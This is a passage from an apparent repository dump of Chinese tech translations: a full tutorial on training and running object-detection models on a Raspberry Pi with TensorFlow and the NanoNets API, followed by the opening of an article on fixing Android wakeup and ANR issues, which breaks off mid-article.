依赖项可能会在你阅读此内容时发生更改，因此相同的配置可能对你无效。我恳请你将错误留在下面的评论中，以便我以后编辑。\n\n> 如果发现译文存在错误或其他需要改进的地方，欢迎到 [掘金翻译计划](https://github.com/xitu/gold-miner) 对译文进行修改并 PR，也可获得相应奖励积分。文章开头的 **本文永久链接** 即为本文在 GitHub 上的 MarkDown 链接。\n\n---\n\n> [掘金翻译计划](https://github.com/xitu/gold-miner) 是一个翻译优质互联网技术文章的社区，文章来源为 [掘金](https://juejin.im) 上的英文分享文章。内容覆盖 [Android](https://github.com/xitu/gold-miner#android)、[iOS](https://github.com/xitu/gold-miner#ios)、[前端](https://github.com/xitu/gold-miner#前端)、[后端](https://github.com/xitu/gold-miner#后端)、[区块链](https://github.com/xitu/gold-miner#区块链)、[产品](https://github.com/xitu/gold-miner#产品)、[设计](https://github.com/xitu/gold-miner#设计)、[人工智能](https://github.com/xitu/gold-miner#人工智能)等领域，想要查看更多优质译文请持续关注 [掘金翻译计划](https://github.com/xitu/gold-miner)、[官方微博](http://weibo.com/juejinfanyi)、[知乎专栏](https://zhuanlan.zhihu.com/juejinfanyi)。\n"
  },
  {
    "path": "TODO1/how-to-easily-detect-objects-with-deep-learning-on-raspberrypi.md",
    "content": "> * 原文地址：[How to easily Detect Objects with Deep Learning on Raspberry Pi](https://medium.com/nanonets/how-to-easily-detect-objects-with-deep-learning-on-raspberrypi-225f29635c74)\n> * 原文作者：[Sarthak Jain](https://medium.com/@sarthakjain?source=post_header_lockup)\n> * 译文出自：[掘金翻译计划](https://github.com/xitu/gold-miner)\n> * 本文永久链接：[https://github.com/xitu/gold-miner/blob/master/TODO1/how-to-easily-detect-objects-with-deep-learning-on-raspberrypi.md](https://github.com/xitu/gold-miner/blob/master/TODO1/how-to-easily-detect-objects-with-deep-learning-on-raspberrypi.md)\n> * 译者：[Starrier](https://github.com/Starriers)\n> * 校对者：[luochen1992](https://github.com/luochen1992)、[jasonxia23](https://github.com/jasonxia23)\n\n# 如何轻松地在树莓派上使用深度学习检测目标\n\n## 真实世界带来的挑战，是有限的数据以及小型硬件，诸如手机和树莓派等，这些硬件无法运行复杂的深度学习模型。这篇文章演示了如何使用树莓派进行对象检测，就像公路上的汽车，冰箱里的橘子，文件上的签名，太空中的特斯拉。\n\n免责声明：我正在用更少的数据和无硬件的方式构建 [nanonets.com](https://nanonets.com/objectdetection/?utm_source=medium.com&utm_medium=content&utm_campaign=How%20to%20easily%20Detect%20Objects%20with%20Deep%20Learning%20on%20RaspberryPi&utm_content=top) 来帮助建立机器学习。\n\n> **如果你没有耐心继续阅读下去，可以直接翻阅到底部查看 Github 的仓库。**\n\n![](https://cdn-images-1.medium.com/max/800/1*YJbdykJRHFlzlIXWwn0nIA.gif)\n\n检测孟买路上的车辆。\n\n### 为什么要检测对象？为什么使用树莓派？\n\n树莓派是一款优秀的硬件，它已经捕获了与售卖 1500 万台设备同时代的人的心，甚至于黑客用其构建了[更酷的项目](http://www.trustedreviews.com/opinion/best-raspberry-pi-projects-pi-3-pi-zero-2949390)。鉴于深度学习和[树莓派相机](https://www.raspberrypi.org/products/camera-module-v2/)的流行，我们认为如果能够通过树莓派进行深度学习来检测任何对象，会是一件非常有意义的事情。\n\n现在你将能够在你的自拍中发现一个 potobomber，有人进入 Harambe 的笼子，在那里有人让 Sriracha 或 Amazon 送货员进入你的房子。\n\n![](https://cdn-images-1.medium.com/max/1000/1*rqB2c-c3yz09CtQLWb2dFg.png)\n\n### 什么是对象检测？\n\n20M 年的进化使人类的视觉得到了相当大的进化。人类大脑有 [**30%** 的神经元负责处理视觉（相比之下，触觉和听觉分别为 8% 和 3%）](http://discovermagazine.com/1993/jun/thevisionthingma227)。与机器相比，人类有两大优势。一是立体视觉，二是近乎无限的训练数据（一个 5 岁的婴儿，以 30fps 的速度获取大约 2.7B 的图像）。 \n\n![](https://cdn-images-1.medium.com/max/800/1*4tPwx3wG720gOmIOaONOEQ.jpeg)\n\n为了模仿人类层次的表现水平，科学家将视觉感知任务分解为四个不同的类别。\n\n1.  **分类**，为整个图像指定一个标签\n2.  **Localization**，为特定标签指定一个边框\n3.  **对象检测**，在图像中绘制多个边界框\n4.  **图像分割**，创建图像中物体所在位置的精确部分\n\n对于各种应用来说，对象检测已经足够好了（即使图像分割结果更为精确，但它受到创建训练数据的复杂性影响。对于一个人类标注者来说，分割图像所花的时间比绘制边界框要多 12 倍；这是更多的轶事，但缺乏一个来源）。而且在检测对象之后，可以单独从边界框中分割对象。\n\n#### 使用对象检测：\n\n对象检测具有重要的现实意义，已经在各行业中被广泛使用。以下是相关示例：\n\n![](https://cdn-images-1.medium.com/max/800/1*ZUGVScHbBgmmzO82bALIZQ.jpeg)\n\n### 我如何使用对象检测来解决我自己的问题？\n\n对象检测可用来回答各种问题。这是粗略的分类：\n\n1.  **在我的图像中是否存在对象**？例如，我家有入侵者么。\n2.  **对象在哪里**，在图像中？例如，当一辆汽车试图在世界各地行驶时，知道物体在哪里是很重要的。\n3.  **有多少个对象**，它们都在图像中么？ 对象检测是计算物体的最有效的方法之一。例如，一个仓库里的架子上有多少箱子。\n4.  **什么是不同类型的对象**在图像中？比如哪个动物在动物园的哪个地方？ \n5.  **对象的大小是多少**？ 尤其是使用静态相机时，很容易计算出物体的大小。比如芒果的大小是多少？\n6.  **不同对象如何相互作用？**足球场上的阵型如何影响结果？\n7.  **与时间有关的对象在何处（追踪对象）比如**追踪像火车这样的移动物体，并计算它的速度等。\n\n### 20 行以下代码中的对象检测\n\n![](https://cdn-images-1.medium.com/max/800/1*I4vKwR9X33DoNz36I1IooQ.jpeg)\n\nYOLO 算法可视化。\n\n有多种用于对象检测的模型/体系结构。在速度、尺寸和精度之间进行权衡。我们选了一个最受欢迎的：[YOLO](https://pjreddie.com/darknet/yolo/)（您只看了一次）。并在 20 行以下的代码中展示了它的工作原理（如果忽略注释的 haunted）。\n\n**注意：这是伪代码，不会成为一个有用的例子。它有一个接近 CNN 标准的部分黑盒，如下所示**。\n\n你可以在这里阅读全文：[https://pjreddie.com/media/files/papers/yolo_1.pdf](https://pjreddie.com/media/files/papers/yolo_1.pdf)\n\n![](https://cdn-images-1.medium.com/max/800/1*hV1SLRRZ-5ySyARb2P0uXA.png)\n\nYOLO 中的卷积神经网络结构。\n\n```\n#this is an Image of size 140x140. We will assume it to be black and white (ie only one channel, it would have been 140x140x3 for rgb)\nimage = readImage()\n\n#We will break the Image into 7 coloumns and 7 rows and process each of the 49 different parts independently\nNoOfCells = 7\n\n#we will try and predict if an image is a dog, cat, cow or wolf. Therfore the number of classes is 4\nNoOfClasses = 4\nthreshold = 0.7\n\n#step will be the size of step to take when moving across the image. Since the image has 7 cells step will be 140/7 = 20\nstep = height(image)/NoOfCells\n\n#stores the class for each of the 49 cells, each cell will have 4 values which correspond to the probability of a cell being 1 of the 4 classes\n#prediction_class_array[i,j] is a vector of size 4 which would look like [0.5 #cat, 0.3 #dog, 0.1 #wolf, 0.2 #cow]\nprediction_class_array = new_array(size(NoOfCells,NoOfCells,NoOfClasses))\n\n#stores 2 bounding box suggestions for each of the 49 cells, each cell will have 2 bounding boxes, with each bounding box having x, y, w ,h and c predictions. (x,y) are the coordinates of the center of the box, (w,h) are it's height and width and c is it's confidence\npredictions_bounding_box_array = new_array(size(NoOfCells,NoOfCells,NoOfCells,NoOfCells))\n\n#it's a blank array in which we will add the final list of predictions\nfinal_predictions = []\n\n#minimum confidence level we require to make a prediction\nthreshold = 0.7\n\nfor (i<0; i<NoOfCells; i=i+1):\n\tfor (j<0; j<NoOfCells;j=j+1):\n\t\t#we will get each \"cell\" of size 20x20, 140(image height)/7(no of rows)=20 (step) (size of each cell)\"\n\t\t#each cell will be of size (step, step)\n\t\tcell = image(i:i+step,j:j+step) \n\n\t\t#we will first make a prediction on each cell as to what is the probability of it being one of cat, dog, cow, wolf\n\t\t#prediction_class_array[i,j] is a vector of size 4 which would look like [0.5 #cat, 0.3 #dog, 0.1 #wolf, 0.2 #cow]\n\t\t#sum(prediction_class_array[i,j]) = 1\n\t\t#this gives us our preidction as to what each of the different 49 cells are\n\t\t#class predictor is a neural network that has 9 convolutional layers that make a final prediction\n\t\tprediction_class_array[i,j] = class_predictor(cell)\n\n\t\t#predictions_bounding_box_array is an array of 2 bounding boxes made for each cell\n\t\t#size(predictions_bounding_box_array[i,j]) is [2,5]\n\t\t#predictions_bounding_box_array[i,j,1] is bounding box1, predictions_bounding_box_array[i,j,2] is bounding box 2\n\t\t#predictions_bounding_box_array[i,j,1] has 5 values for the bounding box [x,y,w,h,c]\n\t\t#the values are x, y (coordinates of the center of the bounding box) which are whithin the bounding box (values ranging between 0-20 in your case)\n\t\t#the values are h, w (height and width of the bounding box) they extend outside the cell and are in the range of [0-140]\n\t\t#the value is c a confidence of overlap with an acutal bounding box that should be predicted\n\t\tpredictions_bounding_box_array[i,j] = bounding_box_predictor(cell)\n\n\t\t#predictions_bounding_box_array[i,j,0, 4] is the confidence value for the first bounding box prediction\n\t\tbest_bounding_box =  [0 if predictions_bounding_box_array[i,j,0, 4] > predictions_bounding_box_array[i,j,1, 4] else 1]\n\n\t\t# we will get the class which has the highest probability, for [0.5 #cat, 0.3 #dog, 0.1 #wolf, 0.2 #cow], 0.5 is the highest probability corresponding to cat which is at position 0. So index_of_max_value will return 0\n\t\tpredicted_class = index_of_max_value(prediction_class_array[i,j])\n\n\t\t#we will check if the prediction is above a certain threshold (could be something like 0.7)\n\t\tif predictions_bounding_box_array[i,j,best_bounding_box, 4] * max_value(prediction_class_array[i,j]) > threshold:\n\n\t\t\t#the prediction is an array which has the x,y coordinate of the box, the height and the width\n\t\t\tprediction = [predictions_bounding_box_array[i,j,best_bounding_box, 0:4], predicted_class]\n\n\t\t\tfinal_predictions.append(prediction)\n\n\nprint final_predictions\n```\n\nYOLO 在 <20 行代码中的解释。\n\n### 我们如何构建用于对象检测的深度学习模型？\n\n#### 深度学习工作流的 6 个主要步骤将分成 3 个阶段\n\n1.  收集训练数据\n2.  训练模型\n3.  预测新图像\n\n![](https://cdn-images-1.medium.com/max/800/1*hUOIe8skkgMQx68-279z_A.jpeg)\n\n* * *\n\n### 阶段 1 —— 收集训练数据\n\n#### **第 1 步 收集图像（每个对象至少有 100 张图像）：**\n\n在这个任务中，每个对象需要几百张图像。尝试将数据捕获到您最终要对其进行预测的数据上。\n\n![](https://cdn-images-1.medium.com/max/800/1*ZqUXpif7jgmAsIwX7ZFdrQ.png)\n\n#### **第 2 步 注解（手动绘制这些图像）：**\n\n在图像上绘制边界框。您可以使用像 [labelImg](https://github.com/tzutalin/labelImg) 这样的工具。您需要一些人来注释您的图像。这是一个相当密集且耗时的任务。\n\n![](https://cdn-images-1.medium.com/max/800/1*osRdxUvKXSaOHX-9VyGbCQ.png)\n\n* * *\n\n### 阶段 2 — 在 GPU 机器上训练模型\n\n#### **第 3 步 寻找可以迁移学习的预训练模型**\n\n您可以在 [medium.com/nanonets/nanonets-how-to-use-deep-learning-when-you-have-limited-data-f68c0b512cab](http://medium.com/nanonets/nanonets-how-to-use-deep-learning-when-you-have-limited-data-f68c0b512cab) 中阅读到更多有关这方面的信息。您需要一个预训练模型，这样您就可以减少训练所需的数据量。没有它，您可能需要几十万张的图像来训练模型。\n\n[你可以在这里找到一些预训练的模型](https://github.com/tensorflow/models/blob/master/research/object_detection/g3doc/detection_model_zoo.md)\n\n#### **第 4 步骤， 在 GPU 上训练（像 AWS/GCP 等云服务或您自己的 GPU 机器）：**\n\n![](https://cdn-images-1.medium.com/max/800/1*b1-9TBSK6GUMGWd27wcLvQ.png)\n\n#### Docker 镜像\n\n训练模型的过程不是必要的，但创建 docker 镜像使得训练变得更加简单的过程很难简化。\n\n你可以通过运行如下内容来开始训练模型：\n\n```\nsudo nvidia-docker run -p 8000:8000 -v `pwd`:data docker.nanonets.com/pi_training -m train -a ssd_mobilenet_v1_coco -e ssd_mobilenet_v1_coco_0 -p '{\"batch_size\":8,\"learning_rate\":0.003}' \n```\n\n#### [有关如何使用的详细信息，请参阅此链接](https://github.com/NanoNets/RaspberryPi-ObjectDetection-TensorFlow)\n\ndocker 镜像拥有一个可以用以下参数调用的 run.sh 脚本\n\n```\nrun.sh [-m mode] [-a architecture] [-h help] [-e experiment_id] [-c checkpoint] [-p hyperparameters]\n\n-h          display this help and exit\n-m          mode: should be either `train` or `export`\n-p          key value pairs of hyperparameters as json string\n-e          experiment id. Used as path inside data folder to run current experiment\n-c          applicable when mode is export, used to specify checkpoint to use for export\n```\n\n您可以在以下找到更多细节：\n\n* [**NanoNets/RaspberryPi-ObjectDetection-TensorFlow**: RaspberryPi-ObjectDetection-TensorFlow - 在树莓派上使用 Tensorflow 进行对象检测](https://github.com/NanoNets/RaspberryPi-ObjectDetection-TensorFlow)\n\n**为了训练模型，您需要选择正确的超参数。**\n\n**找到正确的参数**\n\n“深度学习”的艺术含有一点点讽刺，但它会尝试找出哪些会为您的模型获得最高精度的最佳参数。与此相关的是某些程度的黑魔法以及一点理论。[这是找到正确参数的好资源](https://blog.slavv.com/37-reasons-why-your-neural-network-is-not-working-4020854bd607)。\n\n**量化模型（使其更小以适应像树莓派或手机这样的小型设备）**\n\n诸如手机和树莓派这样的小型设备，内存和计算能力都很小。\n\n训练神经网络是通过对权重施加许多微小推进完成的，而这些微小的增量通常需要浮点精度才能工作（尽管这里也有研究努力使用量化表示）。\n\n采用预先训练模型并运行推理是非常不同的。深度神经网络的神奇特性之一是，它们往往能很好地处理输入中的高噪声。\n\n**为什么要量化？**\n\n例如，神经网络模型会占用大量磁盘空间，起初 AlexNet 是 200 MB 以上的浮点格式。因为在单个模型中经常有数百万个神经连接，因此几乎所有大小都被神经连接的权重所决定。\n\n神经网络的节点和权重起初被存储为 32-bit 浮点数，最简单的量化动机是通过存储每个层的最小和最大值来缩小文件大小，然后将每个浮点值压缩为一个 8 位整数，文件大小因此减小了 75%。\n\n![](https://cdn-images-1.medium.com/max/800/0*Ey92vYBh1Wq2uHfH.png)\n\n**量化代码：**\n\n```\ncurl -L \"https://storage.googleapis.com/download.tensorflow.org/models/inception_v3_2016_08_28_frozen.pb.tar.gz\" |\n  tar -C tensorflow/examples/label_image/data -xz\nbazel build tensorflow/tools/graph_transforms:transform_graph\nbazel-bin/tensorflow/tools/graph_transforms/transform_graph \\\n--in_graph=tensorflow/examples/label_image/data/inception_v3_2016_08_28_frozen.pb \\\n  --out_graph=/tmp/quantized_graph.pb \\\n  --inputs=input \\\n  --outputs=InceptionV3/Predictions/Reshape_1 \\\n  --transforms='add_default_attributes strip_unused_nodes(type=float, shape=\"1,299,299,3\")\n    remove_nodes(op=Identity, op=CheckNumerics) fold_constants(ignore_errors=true)\n    fold_batch_norms fold_old_batch_norms quantize_weights quantize_nodes\n    strip_unused_nodes sort_by_execution_order\n```\n* * *\n\n### **第 3 阶段：使用树莓派预测新图像**\n\n#### **第 5 步，通过相机捕捉新图像**\n\n你需要树莓派生活和工作。然后捕获一个新图像\n\n![](https://cdn-images-1.medium.com/max/800/1*tMcyYPmB8aCJYXSS8Y2I8A.jpeg)\n\n安装说明参见此[链接](https://thepihut.com/blogs/raspberry-pi-tutorials/16021420-how-to-install-use-the-raspberry-pi-camera)\n\n```\nimport picamera, os\nfrom PIL import Image, ImageDraw\ncamera = picamera.PiCamera()\ncamera.capture('image1.jpg')\nos.system(\"xdg-open image1.jpg\")\n```\n\n捕获新图像的代码。\n\n#### 第 6 步，预测新图像\n\n**下载模型**\n\n一旦你完成了模型的训练，你就可以把它下载到你的树莓派上了。要导出模型运行：\n\n```\nsudo nvidia-docker run -v `pwd`:data docker.nanonets.com/pi_training -m export -a ssd_mobilenet_v1_coco -e ssd_mobilenet_v1_coco_0 -c /data/0/model.ckpt-8998\n```\n\n然后将模型下载到树莓派上。\n\n**在树莓派上下载 Tensorflow**\n\n根据设备的不同，您可能需要稍微更改安装\n\n```\nsudo apt-get install libblas-dev liblapack-dev python-dev libatlas-base-dev gfortran python-setuptools libjpeg-dev\n\nsudo pip install Pillow\n\nsudo pip install http://ci.tensorflow.org/view/Nightly/job/nightly-pi-zero/lastSuccessfulBuild/artifact/output-artifacts/tensorflow-1.4.0-cp27-none-any.whl\n\ngit clone [https://github.com/tensorflow/models.git](https://github.com/tensorflow/models.git)\n\nsudo apt-get install -y protobuf-compiler\n\ncd models/research/protoc object_detection/protos/*.proto --python_out=.\n\nexport PYTHONPATH=$PYTHONPATH:/home/pi/models/research:/home/pi/models/research/slim\n```\n\n**运行模型以预测新图像**\n\n```\npython ObjectDetectionPredict.py --model data/0/quantized_graph.pb --labels data/label_map.pbtxt --images /data/image1.jpg /data/image2.jpg\n```\n\n* * *\n\n### 树莓派的性能基准测试\n\n树莓派对内存和计算都有限制（与树莓派 GPU 兼容的 Tensorflow 版本仍然不可用）。因此，对基准测试来说，每个模型需要多少时间才能对新图像进行预测非常重要。\n\n![](https://cdn-images-1.medium.com/max/1000/1*Z1z6TWrmvpW5DQ0WPKkTFw.png)\n\n在树莓派中运行不同对象检测的基准测试。\n\n* * *\n\n![](https://cdn-images-1.medium.com/max/800/1*m5grJCpQ6Dk6Ee-JEBIPPg.jpeg)\n\n#### 我们在 NanoNets 的目标是使深度学习工作更加简单。对象检测是我们关注的一个主要领域，我们已经制定了一个工作流来解决实现深度学习模型的许多挑战。\n\n### NanoNets 如何使过程更简单：\n\n#### 1. 无需注解\n\n我们已经删除了注释图像的需求，我们有专业的注释人员为**为您的图像注释**。\n\n#### 2. 自动优化模型与超参数的选择\n\n我们为您**自动化训练最好的模型**。为了实现这个，我们运行一组具有不同参数的模型，来为您的数据选择最佳模型。\n\n#### 3. 不需要昂贵的硬件和 GPU\n\nNanoNets **完全在云端运行**而且无需任何硬件。这使得它更容易使用。\n\n#### 4. 适合像树莓派这样的移动设备\n\n因为像树莓派和手机这样的设备并不是为了运行复杂的计算任务而构建的，所以您可以把工作量外包给我们的云，它会为您完成所有的计算\n\n### 这里是使用 NanoNets API 对图像进行预测的简单片段\n\n```\nimport picamera, json, requests, os, random\nfrom time import sleep\nfrom PIL import Image, ImageDraw\n\n#capture an image\ncamera = picamera.PiCamera()\ncamera.capture('image1.jpg')\nprint('caputred image')\n\n#make a prediction on the image\nurl = 'https://app.nanonets.com/api/v2/ObjectDetection/LabelFile/'\ndata = {'file': open('image1.jpg', 'rb'), \\\n    'modelId': ('', 'YOUR_MODEL_ID')}\nresponse = requests.post(url, auth=requests.auth.HTTPBasicAuth('YOUR_API_KEY', ''), files=data)\nprint(response.text)\n\n#draw boxes on the image\nresponse = json.loads(response.text)\nim = Image.open(\"image1.jpg\")\ndraw = ImageDraw.Draw(im, mode=\"RGBA\")\nprediction = response[\"result\"][0][\"prediction\"]\nfor i in prediction:\n    draw.rectangle((i[\"xmin\"],i[\"ymin\"], i[\"xmax\"],i[\"ymax\"]), fill=(random.randint(1, 255),random.randint(1, 255),random.randint(1, 255),127))\nim.save(\"image2.jpg\")\nos.system(\"xdg-open image2.jpg\")\n```\n\n使用 NanoNets 对新图像进行预测的代码\n\n### 构建您自己的 NanoNet\n\n![](https://cdn-images-1.medium.com/max/800/1*D0woyU-XyyqlUsNP1ToOBA.png)\n\n### 您可以尝试从以下几点来构建属于自己的模型：\n\n### 1. 使用 GUI（也可以自动注释图像）：[https://nanonets.com/objectdetection/](https://nanonets.com/objectdetection/?utm_source=medium.com&utm_medium=content&utm_campaign=How%20to%20easily%20Detect%20Objects%20with%20Deep%20Learning%20on%20RaspberryPi&utm_content=bottom)\n\n### 2. 使用我们的 API：[https://github.com/NanoNets/object-detection-sample-python](https://github.com/NanoNets/object-detection-sample-python)\n\n#### 第 1 步：克隆仓库\n\n```\ngit clone [https://github.com/NanoNets/object-detection-sample-python.git](https://github.com/NanoNets/object-detection-sample-python.git)\ncd object-detection-sample-python\nsudo pip install requests\n```\n\n#### 第 2 步：获取您的免费 API 的密钥\n\n从 [http://app.nanonets.com/user/api_key](http://app.nanonets.com/user/api_key) 中获取您的免费 API 密钥\n\n#### 第 3 步：将 API 密钥设置为环境变量\n\n```\nexport NANONETS_API_KEY=YOUR_API_KEY_GOES_HERE\n```\n\n#### 第 4 步：创建新模型\n\n```\npython ./code/create-model.py\n```\n\n> 注意：这将生成下一步所需的模型 ID\n\n#### 第 5 步：添加模型 ID 作为环境变量\n\n```\nexport NANONETS_MODEL_ID=YOUR_MODEL_ID\n```\n\n#### 第 6 步：上传训练数据\n\n收集您想要检测对象的图像。您可以使用我们的 web UI(https://app.nanonets.com/ObjectAnnotation/?appId=YOUR_MODEL_ID) 对其进行注释，或者使用像 [labelImg](https://github.com/tzutalin/labelImg) 这样的开源工具。一旦在文件夹中准备好数据集，`images`（图像文件）和 `annotations`（图像文件注解），就可以开始上传数据集了。 \n\n```\npython ./code/upload-training.py\n```\n\n#### 第 7 步：训练模型\n\n一旦图像上传完毕，就开始训练模型\n\n```\npython ./code/train-model.py\n```\n\n#### 第 8 步：获取模型状态\n\n模型训练需要 2 个小时。一旦模型被训练，您将收到一封电子邮件。同时检查模型的状态\n\n```\nwatch -n 100 python ./code/model-state.py\n```\n\n#### 第 9 步：预测\n\n一旦模型训练好了，您就可以使用来进行预测\n\n```\npython ./code/prediction.py PATH_TO_YOUR_IMAGE.jpg\n```\n\n* * *\n\n### 代码（GitHub 仓库）\n\n#### 训练模型的 Github 仓库：\n\n1.  [用于模型训练和量化的 Tensorflow 代码](https://github.com/NanoNets/RaspberryPi-ObjectDetection-TensorFlow)\n2.  [NanoNets 模型训练代码](https://github.com/NanoNets/IndianRoadsObjectDetectionDataset)\n\n#### 为树莓派做出预测的 GitHub 仓库（即检测新对象）：\n\n1.  [在树莓派上用于预测的 Tensorflow 代码](https://github.com/NanoNets/TF-OD-Pi-Test)\n2.  [在树莓派上用于预测的 NanoNets 代码](https://gist.github.com/sjain07/a30388035c0b39b53841c501f8262ee2)\n\n#### 带有注释的数据集：\n\n1.  [印度公路可见的车辆，从印度道路图像中提取车辆的数据集](https://github.com/NanoNets/IndianRoadsObjectDetectionDataset)\n2.  [Coco 数据集](http://cocodataset.org/#download)\n\n\n---\n\n> [掘金翻译计划](https://github.com/xitu/gold-miner) 是一个翻译优质互联网技术文章的社区，文章来源为 [掘金](https://juejin.im) 上的英文分享文章。内容覆盖 [Android](https://github.com/xitu/gold-miner#android)、[iOS](https://github.com/xitu/gold-miner#ios)、[前端](https://github.com/xitu/gold-miner#前端)、[后端](https://github.com/xitu/gold-miner#后端)、[区块链](https://github.com/xitu/gold-miner#区块链)、[产品](https://github.com/xitu/gold-miner#产品)、[设计](https://github.com/xitu/gold-miner#设计)、[人工智能](https://github.com/xitu/gold-miner#人工智能)等领域，想要查看更多优质译文请持续关注 [掘金翻译计划](https://github.com/xitu/gold-miner)、[官方微博](http://weibo.com/juejinfanyi)、[知乎专栏](https://zhuanlan.zhihu.com/juejinfanyi)。\n"
  },
  {
    "path": "TODO1/how-to-fix-app-quality-issues-with-android-vitals-and-improve-performance-on-the-play-store-part.md",
    "content": "> * 原文地址：[How to fix app quality issues with Android vitals](https://medium.com/googleplaydev/how-to-fix-app-quality-issues-with-android-vitals-and-improve-performance-on-the-play-store-part-498dde9f4ef6)\n> * 原文作者：[Wojtek Kaliciński](https://medium.com/@wkalicinski?source=post_header_lockup)\n> * 译文出自：[掘金翻译计划](https://github.com/xitu/gold-miner)\n> * 本文永久链接：[https://github.com/xitu/gold-miner/blob/master/TODO1/how-to-fix-app-quality-issues-with-android-vitals-and-improve-performance-on-the-play-store-part.md](https://github.com/xitu/gold-miner/blob/master/TODO1/how-to-fix-app-quality-issues-with-android-vitals-and-improve-performance-on-the-play-store-part.md)\n> * 译者：[LeeSniper](https://github.com/LeeSniper)\n> * 校对者：[DateBro](https://github.com/DateBro)\n\n# 如何用 Android vitals 解决应用程序的质量问题\n\n## 两篇中的第一篇：修复 ANR 事件和过度唤醒是如何提高应用在 Play Store 上的表现的\n\n![](https://cdn-images-1.medium.com/max/800/0*EWSxinDkL4qP3nQT.)\n\n对于一个应用开发者来说，没有比开心的用户更好的衡量成功的标准，而且最好是有很多这样的用户。实现这一目标的最佳方式是拥有一个人人都想用的优秀应用，不过我们所说的“优秀”指的是什么呢？它可以归结为两件事：功能和应用质量。前者最终取决于你的创造力和选择的商业模式，而后者可以客观地衡量和改进。\n\n在去年进行的一项 Google 内部研究中，我们查看了 Play Store 中的一星评论，发现超过 40％ 的人提到应用稳定性的问题。相对的，人们会用更高的评分和更好的评论持续奖励那些表现最佳的应用。这使得它们在 Google Play 上获得更好的排名，而好的排名有助于提高安装量。不仅如此，用户还会更加投入，并愿意在这些应用程序上花费更多的时间和金钱。\n\n因此，解决应用程序的稳定性问题可以在很大程度上决定它有多成功。\n\n为了提供一个客观的质量衡量标准，使你可以轻松发现应用需要解决哪些稳定性问题，我们在 Play Console 中添加了一个名为 Android vitals 的新模块。这个模块可以告诉你应用程序的性能和稳定性问题，而不需要在代码中添加仪器或库。当你的应用程序运行在众多设备上的时候，Android vitals 会收集关于应用程序性能的匿名指标。即使在使用硬件实验室进行测试时，它也会以其他方式难以获得的规模为你提供信息。\n\nAndroid vitals 可以提醒你的问题包括崩溃、应用程序无响应（ANR）和渲染时间。这些问题都直接影响你的用户对应用的体验和看法。此外，还有一类用户可能不会直接与你的应用关联的不良应用行为：比如耗电的速度比预期的要快。\n\n在本文中，我将着眼于以下两个问题：\n\n*   **过度唤醒**。这会影响电池的续航时间，如果用户无法及时充电，可能会导致他们无法使用设备。这种行为很可能会让用户迅速卸载你的应用。\n*   **应用程序无响应（ANR）事件**。这些事件发生在你的应用程序 UI 冻结的时候。发生冻结时，如果你的应用位于前台，会弹出对话框让用户选择关闭应用或等待响应。从用户的角度来看，这种行为与应用崩溃一样糟糕。用户可能不会立即卸载你的应用，但如果 ANR 持续存在，用户很可能会寻找替代的应用。\n\n### 过度唤醒\n\n![](https://cdn-images-1.medium.com/max/800/0*p72INJ4b8pd9CxM8.)\n\n那么，唤醒是什么以及它们何时变得过度呢？\n\n为了延长电池的续航时间，屏幕关闭后，Android 设备将通过禁用主 CPU 内核进入深度睡眠模式。除非用户唤醒设备，否则设备会尽可能长时间地保持在此状态。但是，有一些重要事件需要唤醒 CPU 并提醒用户，例如，当闹钟响起或有新的聊天消息到达时。这些警报可以通过唤醒警报（wakeup alarm）来处理，但正如我将要解释的那样，这并不是必须的。到目前为止，唤醒似乎是一件好事，它可以显示重要的事件引起用户的注意，但是如果有太多这种事件那么电池寿命就会受到影响。\n\n### Android vitals 如何显示过度唤醒？\n\n了解你的应用是否在驱动过多的唤醒是 Android vitals 的重要任务。收集的有关你应用行为的匿名数据用于显示自设备完全充电后，每小时经历超过 10 次唤醒的用户的百分比。要查看的关键点是一个红色的图标；这个图标告诉你，你的应用已超出不良行为阈值。而这个阈值表示你的应用属于 Google Play 上表现较差的应用，你应该考虑改善其行为。\n\n![](https://cdn-images-1.medium.com/max/800/0*lI6WpGCrW0NIQDUk.)\n\n### 唤醒警报是否有其他替代方法？\n\n在指定时间或间隔后唤醒设备的主要方法是使用 AlarmManager API 的 RTC_WAKEUP 或 ELAPSED_REALTIME_WAKEUP 标志来安排警报。但是一定要注意谨慎地使用此功能，而且只有在其他调度和通知机制不能更好地提供服务的情况下。当你想要使用唤醒警报时，请注意考虑以下几点：\n\n*   如果你需要根据网络返回的数据来显示信息，可以考虑使用消息推送来实现，例如 Firebase Cloud Messaging。使用这种机制而不是定期拉取新数据，你的应用只有在需要时才会被唤醒。\n*   如果你无法使用消息推送并且依赖定期拉取，可以考虑使用 JobScheduler 或者是 Firebase JobDispatcher（甚至是 SyncManager 来获取帐户数据）。这些是比 AlarmManager 更高级别的 API，而且为更智能的定期任务提供以下好处：\n\n    **A）** 批处理 —— 许多任务将被批量处理以使设备睡眠时间更长，而不是多次唤醒系统来执行这些任务。\n\n    **B）** 条件 —— 你可以指定必须满足某些条件才能执行你的任务，例如网络可用性或电池的充电状态。使用这些条件可以避免不必要的设备唤醒和应用运行。 \n\n    **C）** 持续性和自动重试 —— 任务可以持续执行（即使重新启动也可以），并且可以在发生故障时自动重试。\n\n    **D）** Doze 兼容性 —— 任务只有在不受 Doze 模式限制或应用程序待机时才会执行。\n\n只有当消息推送和定期任务不适合你的工作时，你才应该使用 AlarmManager 安排唤醒警报。或者从另一个角度来看，只有当你需要在特定时间启动闹钟时才需要使用唤醒警报，无论网络或其他条件如何。\n\n### Android vitals 显示过度唤醒时你应该怎么做？\n\n要解决过度唤醒的问题，请先确定你的应用在哪些地方设置了唤醒警报，然后降低触发这些警报的频率。\n\n要确定你的应用在哪些地方设置了唤醒警报，请在 Android Studio 中打开 AlarmManager 类，右键单击 RTC_WAKEUP 或 ELAPSED_REALTIME_WAKEUP 字段并选择 “Find Usages”。这将显示你项目中用到这些标志的所有实例。审查每一个实例，看看你是否可以切换到更智能的定时任务机制中的一种。\n\n![](https://cdn-images-1.medium.com/max/800/0*AqOuensVaMAnWsbT.)\n\n你还可以在 Find Usages 选项中将范围设置为“项目和库”，以确定你的依赖库是否使用了 AlarmManager API。如果是，你应该考虑使用替代库或向作者报告这个问题。\n\n如果你决定必须使用唤醒警报，那么如果你提供了符合以下要求的警报标签，则 Play Console 可以提供更好的分析数据：\n\n*   在你的警报标签名称中包含你的包名、类名或方法名。这也可以帮助你轻松识别警报设置在你源码中的什么位置。\n*   请勿使用 Class#getName() 作为警报名称，因为它可能会被 Proguard 混淆。改用硬编码的字符串。\n*   不要将计数器或其他唯一标识符添加到警报标签，因为系统可能会丢弃标签，而且无法将它们聚合成有用的数据。\n\n### 